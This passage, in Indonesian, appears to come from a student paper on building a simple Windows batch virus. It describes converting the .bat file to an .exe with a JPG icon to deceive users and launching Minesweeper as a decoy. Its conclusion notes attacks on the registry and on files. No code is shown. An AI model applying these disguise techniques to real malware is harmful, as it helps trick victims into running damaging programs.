  34. 34. keterangan saat file virus nantinya dijalankan. Setelah proses konversi selesai,akan terbentuk file baru yang bernama virusku.exe, yang terihat pada gambar 1.2. Gambar 1.2. Hasil Konversi file .batPada Gambar 1.3. terlihat ada file virusku.exe dengan icon gambar (icon fileJPG). Contoh virus ini filenya berbentuk exe file, atau memiliki ekstensi .exe,biasanya tipe file aplikasi. Saat file virusku.exe dijalankan atau dieksekusi akanmuncul jendela game Minesweeper bawaan Windows. Tahap terakhir yangdilakukan adalah mengkonversi file virus agar mudah membaur dan dapatmengelabui user. Pada contoh ini digunakan icon file jpg. Sebenarnya bisa jugamenggunakan icon-icon lain, hanya saja nantinya akan mempengaruhi besarnyafile virus yang dihasilkan. Gambar 1.3. Minesweeper
  35. 35. 1.4.4. Kesimpulan Contoh virus batch sederhana yang telah dibuat dan diujikan ke dalamsistem operasi Windows, ternyata bisa dikatakan cukup berhasil, hanya denganmenggunakan file Batch sebagai media pemrogramannya, dan perintah-perintahyang bahasa pemrogramannya cukup sederhana, bisa jadi virus yang cukupberbahaya, tetapi semuanya itu tergantung dari kreatifitas si virus maker. Isi darifile virus juga tidak terlalu banyak, hanya beberapa baris perintah saja sudah bisamerepotkan korban. Untuk virus batch ini ukuran filenya relatif lebih kecil. Dandapat dilihat yang menjadi sasaran penyerangan sebagian besar adalah registryWindows, tetapi tidak menutup kemungkinan untuk melakukan penyerangan kefile-file yang ada, misal file dokumen, gambar, dan lain-lain, yang bisamenyebabkan file-file tersebut tidak dapat digunakan, menghilang, dan lainsebagainya. Pengembangan yang dapat dilakukan dari penelitian virus batchsederhana ini adalah membuat antivirusnya, sehingga selain mengetahui selukbeluk virus batch juga dapat menangkal virus tersebut.

×